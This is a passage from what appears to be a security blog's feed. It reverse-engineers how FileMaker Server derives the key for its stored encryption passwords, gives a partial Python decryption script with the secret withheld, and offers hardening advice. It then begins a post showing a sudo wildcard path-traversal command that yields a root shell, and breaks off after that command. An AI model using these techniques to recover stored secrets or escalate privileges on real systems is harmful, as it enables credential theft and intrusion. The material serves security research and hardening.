&lt;li&gt;&lt;code&gt;rdi&lt;/code&gt;: 0x7f778c01a5c0&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rsi&lt;/code&gt;: 0x10 (or 16 in decimal)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rdx&lt;/code&gt;: 0x7f779c250f70&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rcx&lt;/code&gt;: 0x08 (8)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r8&lt;/code&gt;: 0x3e5 (997)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r9&lt;/code&gt;: 0x20 (32)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The seventh argument is passed on the stack, so let&amp;rsquo;s look at the value on the &lt;a href="https://en.wikipedia.org/wiki/Call_stack"&gt;stack&lt;/a&gt; after the return address (&lt;a href="https://en.wikipedia.org/wiki/Call_stack#STACK-POINTER"&gt;stack pointer&lt;/a&gt; is in &lt;code&gt;$rsp&lt;/code&gt; and we skip the first 8 bytes):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) x/xg $rsp+8
0x7f779c250ed0: 0x00007f779c250f00
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Let&amp;rsquo;s take a look what values can be found at the addresses pointed to by the first, third and seventh argument:&lt;/p&gt;
&lt;p&gt;The first argument is 16 bytes in length, but is certainly not an ascii string (look at it with &lt;code&gt;x/16xb 0x7f778c01a5c0&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The third argument can indeed be interpreted as a string and points to &lt;code&gt;fmserver&lt;/code&gt; (if we spent more time looking at &lt;code&gt;CryptData&lt;/code&gt; we learn that this string and the 997 are the username/id acquired via &lt;a href="https://linux.die.net/man/3/getpwuid"&gt;&lt;code&gt;getpwuid&lt;/code&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;The seventh argument contains data we don&amp;rsquo;t understand yet and might very well just be the address where the result goes.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s disassemble the body of the function now:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) disas
Dump of assembler code for function Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*):
=&amp;gt; 0x00007f77a6066a50 &amp;lt;+0&amp;gt;: jmpq 0x7f77a6043ab0 &amp;lt;PKCS5_PBKDF2_HMAC_SHA1@plt&amp;gt;
End of assembler dump.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We can see that the program is calling OpenSSL&amp;rsquo;s &lt;a href="https://www.openssl.org/docs/man3.1/man3/PKCS5_PBKDF2_HMAC_SHA1.html"&gt;&lt;code&gt;PKCS5_PBKDF2_HMAC_SHA1&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Looking at the documentation, we know what each argument is and can now also make sense of the arguments we deciphered above:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;int PKCS5_PBKDF2_HMAC_SHA1(const char *pass, int passlen,
 const unsigned char *salt, int saltlen, int iter,
 int keylen, unsigned char *out);
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The password is the 16 bytes at &lt;code&gt;0x7f778c01a5c0&lt;/code&gt;, the salt is &lt;code&gt;fmserver&lt;/code&gt;, the iterations are 997 and the key length is 32.&lt;/p&gt;
&lt;p&gt;PBKDF2 is a common key derivation function, which is used here to create the key for decrypting the keystore value.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 PBKDF2 stands for &lt;strong&gt;Password-Based Key Derivation Function 2&lt;/strong&gt;. It takes a pseudorandom function (such as HMAC-SHA1, as we see above), a password, a salt, a key length and an iteration count. In short, it computes a hash from the salt and a block iteration count, using the given password as key. In the first iteration, it builds another hash using the password as key and the previous hash result as message. These two hashes are then XORd. What follows is a loop of creating a new hash from the previous hash, XORing it again with the previous XOR result, and so on. This is done for the number of iterations specified (here 997) and for each necessary block of the hash length to reach the length of the desired key (here 2 as the hash output of SHA-1 is 20 bytes, but we request a 32 byte key) . For more details see the &lt;a href="https://en.wikipedia.org/wiki/PBKDF2"&gt;Key derivation process explained on Wikipedia&lt;/a&gt;.&lt;br&gt;&lt;br&gt;A few additional things to note: 1) the mentioned hash is not just a SHA-1 hash but an invocation of &lt;a href="https://en.wikipedia.org/wiki/HMAC"&gt;HMAC&lt;/a&gt;. Thus, we&amp;rsquo;re running SHA-1 twice to come up with our hashes in each iteration. 2) The salt being used here is certainly not random (the default fmserver username) and the iteration count is rather low and also likely to be the same or in a close range for every machine (being the user ID). Since the &amp;ldquo;password&amp;rdquo; is already a hash created from a unique identifier (see later in this article), though, this might be less problematic. I assume that this was done like this to easily &amp;ldquo;break&amp;rdquo; the key once any of the variables on the system change, which would force a user to re-enter the EAR password.
&lt;/div&gt;

&lt;p&gt;Given the information we got so far, we should be able to reproduce the key (even though, we still don&amp;rsquo;t know how that password is created).&lt;/p&gt;
&lt;p&gt;Back in Python, we can do:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;binascii&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;Cryptodome.Protocol.KDF&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;PBKDF2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;Cryptodome.Hash&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;SHA1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;salt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;fmserver&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;997&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fromhex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;lt;the value at 0x7f778c01a5c0&amp;gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;PBKDF2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hmac_hash_module&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;SHA1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;binascii&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hexlify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Running the script, we can now generate the same key that we have discovered above. Cool, one step further!&lt;/p&gt;
&lt;h2 id="figuring-out-how-the-password-is-created"&gt;Figuring out how the password is created&lt;/h2&gt;
&lt;p&gt;The last piece of information we need is how the password which is being passed to &lt;code&gt;PBKDF2&lt;/code&gt; is created .&lt;/p&gt;
&lt;p&gt;Since the password which we discovered was 16 bytes long and we earlier saw a call to &lt;code&gt;GetPersistentID&lt;/code&gt; (which, if equivalent to the &lt;code&gt;Get(PersistentID)&lt;/code&gt; function, also returns 16 bytes sequences), we could assume that the password we saw was just said machine identifier.&lt;/p&gt;
&lt;p&gt;If we compute the persistent ID of the server (for example via &lt;code&gt;Perform Script on Server[]&lt;/code&gt;), however, we realize that the value doesn&amp;rsquo;t match – either because they are indeed different implementations or because the password is just created differently.&lt;/p&gt;
&lt;p&gt;To understand how the server arrives at the previously detected password, we can continue in two ways. Either we step through the instructions of &lt;code&gt;Draco::KeyStorageProvider::CryptData&lt;/code&gt; (which calls the previously analysed &lt;code&gt;ComputePasswordHashRawBytes&lt;/code&gt;) or we go a couple of steps back and check again, if we can find other interesting symbols now that we have learned a bit more and know the &lt;code&gt;KeyStorageProvider&lt;/code&gt; class is involved.&lt;/p&gt;
&lt;p&gt;For the latter strategy &lt;code&gt;Draco::KeyStorageProvider::GetInstance()&lt;/code&gt; seems like a good starting point.&lt;/p&gt;
&lt;p&gt;Setting a breakpoint and entering the function, we see the following:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) disas
Dump of assembler code for function Draco::KeyStorageProvider::GetInstance():
 0x00007f3ef752b4c0 &amp;lt;+0&amp;gt;: push %rbx
 0x00007f3ef752b4c1 &amp;lt;+1&amp;gt;: mov 0x20b3c9(%rip),%al # 0x7f3ef7736890 &amp;lt;_ZGVZN5Draco18KeyStorageProvider11GetInstanceEvE8instance&amp;gt;
 0x00007f3ef752b4c7 &amp;lt;+7&amp;gt;: test %al,%al
 0x00007f3ef752b4c9 &amp;lt;+9&amp;gt;: je 0x7f3ef752b4d4 &amp;lt;Draco::KeyStorageProvider::GetInstance()+20&amp;gt;
 0x00007f3ef752b4cb &amp;lt;+11&amp;gt;: lea 0x20b2ae(%rip),%rax # 0x7f3ef7736780 &amp;lt;_ZZN5Draco18KeyStorageProvider11GetInstanceEvE8instance&amp;gt;
 0x00007f3ef752b4d2 &amp;lt;+18&amp;gt;: pop %rbx
=&amp;gt; 0x00007f3ef752b4d3 &amp;lt;+19&amp;gt;: retq
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We have a &lt;code&gt;test&lt;/code&gt; right at the beginning, meaning we likely return early, if the &lt;code&gt;KeyStorageProvider&lt;/code&gt; has already been instantiated. However, once we&amp;rsquo;re in this function, we can also look at what&amp;rsquo;s in memory.&lt;/p&gt;
&lt;p&gt;We can see that the previously discovered password &lt;code&gt;a04d..&lt;/code&gt; is already set here, so we might need to find where we initialize the provider for the first time (and thus where the password is being created).&lt;/p&gt;
&lt;p&gt;As mentioned in the beginning of the article, I&amp;rsquo;ll brush over some details here to not make a &amp;ldquo;point-and-shoot&amp;rdquo; decryption script available, but leave this as an exercise for the reader.&lt;/p&gt;
&lt;p&gt;What you have to look for is the initialization function for the KeyStorageProvider (which is executed during first start of the server) and another function that derives the password.&lt;/p&gt;
&lt;p&gt;In it you will find that an MD5 context is built, which then gets fed the machine&amp;rsquo;s persistent ID and another secret (you know it when you see it). Eventually, a 16-byte MD5 checksum is created, which matches the password we saw earlier.&lt;/p&gt;
&lt;p&gt;Having found this final part, we can now re-create the key and decrypt keystore values. The following Python script shows how you could do it in a program, leaving a few details out for the reasons mentioned above:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;hashlib&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;base64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;Cryptodome.Cipher&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;Cryptodome.Util.Padding&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;unpad&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;Cryptodome.Protocol.KDF&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;PBKDF2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;Cryptodome.Hash&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;SHA1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;decoded_ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;b64decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MODE_CBC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;decoded_ciphertext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;unpad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;derive_key&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;secret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span class="c1"&gt;# the full secret string discovered in the last part&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;md5&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;secret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;digest&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;997&lt;/span&gt; &lt;span class="c1"&gt;# uid&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;salt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;fmserver&amp;#39;&lt;/span&gt; &lt;span class="c1"&gt;# username&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;PBKDF2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hmac_hash_module&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;SHA1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span class="c1"&gt;# base64-encoded ciphertext from keystore&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;derive_key&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;iv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt; &lt;span class="c1"&gt;# null IV&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;plaintext: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="vm"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="how-about-macos"&gt;How about macOS?&lt;/h2&gt;
&lt;p&gt;So far we&amp;rsquo;ve been working with a default Linux installation. To come to the same conclusion on macOS, you can use &lt;code&gt;lldb&lt;/code&gt; instead of &lt;code&gt;gdb&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To attach lldb to a running process, you will have to disable macOS&amp;rsquo; System Integrity Protection or remove the code signature first, though.&lt;/p&gt;
&lt;p&gt;The discovery process is more or less the same, although the syntax for &lt;code&gt;lldb&lt;/code&gt; is a bit different.&lt;/p&gt;
&lt;p&gt;After looking into it, I can tell you that the encryption/decryption process is the same, as is expected.&lt;/p&gt;
&lt;p&gt;Naturally, on macOS the username and user id that go into the key derivation could be different. For a default installation the full name of the user is &amp;ldquo;fmserver User&amp;rdquo;. For the derivation this string is concatenated to the actual username &amp;ldquo;fmserver&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;You can find out the full user info with the following command (change &lt;code&gt;fmserver&lt;/code&gt; for the username you run FMS under):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;dscacheutil -q user | grep &amp;#39;name: fmserver&amp;#39; -A6
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="how-about-windows"&gt;How about Windows?&lt;/h2&gt;
&lt;p&gt;I only had a brief look at Windows. It seems that the encryption/decryption process works a bit different here.&lt;/p&gt;
&lt;p&gt;I haven&amp;rsquo;t spent much time looking into this and wanted to write up my findings first. Maybe I&amp;rsquo;ll look into it in the future.&lt;/p&gt;
&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;I hope this post was helpful to you learning how FileMaker Server handles the secrets you decide to store on the machine.&lt;/p&gt;
&lt;p&gt;As we saw it&amp;rsquo;s not unfeasable to recover the plaintexts. While this is expected and &amp;ldquo;by design&amp;rdquo; as the server needs to do the same, you can now judge how easy or hard it is.&lt;/p&gt;
&lt;p&gt;I reported some things that could be improved or might be a bug to Claris and hope the keystore will be improved as a result.&lt;/p&gt;
&lt;p&gt;The decision for or against storing the EAR passwords really depends on your use-case. If uptime is very important and you need your databases to auto-open after a reboot, there&amp;rsquo;s no way around to storing them on disk (and I don&amp;rsquo;t think that&amp;rsquo;s an unreasonable decision – I have setups where I do the same).&lt;/p&gt;
&lt;p&gt;You may also look into restricting access to the &lt;code&gt;keystore&lt;/code&gt; file, i.e. remove permissions for &lt;code&gt;other&lt;/code&gt; (it seems the only user/group accessing it should be, by default, &lt;code&gt;fmserver&lt;/code&gt; and &lt;code&gt;fmsadmin&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Generally, with enough time and patience you will (at least theoretically) always get to some of the data if you have root access to the live server and the databases are opened. Having the original EAR password stored and the keystore file readable by everyone just makes it much easier.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Updates:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;2023-05-31: Corrected the macOS section to include that you can remove the code signature instead of disabling SIP. Thanks, Alex.&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Beware of wilcards paths in sudo commands</title><link>https://davidhamann.de/2023/02/24/beware-of-wildcard-paths-sudo/</link><pubDate>Fri, 24 Feb 2023 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2023/02/24/beware-of-wildcard-paths-sudo/</guid><description>&lt;p&gt;Say you want to allow a non-root user on Linux to execute a couple of scripts as root or another user with more privileges. A common way of doing this is to make an entry in the sudoers file.&lt;/p&gt;
&lt;p&gt;If the scripts are written in Python, it could look something like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;johndoe ALL=(ALL) /usr/bin/python3 /opt/utils/*.py
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Essentially, this means that the user &lt;code&gt;johndoe&lt;/code&gt; can execute &lt;code&gt;/usr/bin/python3 /opt/utils/*.py&lt;/code&gt; on any machine (&lt;code&gt;ALL&lt;/code&gt;) as any user (&lt;code&gt;(ALL)&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;If the scripts in &lt;code&gt;/opt/utils/&lt;/code&gt; are not writable for &lt;code&gt;johndoe&lt;/code&gt; and there is no way for him to create new files in that directory, this looks okay at first.&lt;/p&gt;
&lt;h2 id="what-could-go-wrong"&gt;What could go wrong?&lt;/h2&gt;
&lt;p&gt;The problem, though, is that if &lt;code&gt;johndoe&lt;/code&gt; can write anywhere else (which is always the case), he can easily get a root shell (or do literally anything else) due to the wildcard character in the path argument to &lt;code&gt;python3&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;For example via a simple path traversal:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo /usr/bin/python3 /opt/utils/../../home/johndoe/gotcha.py
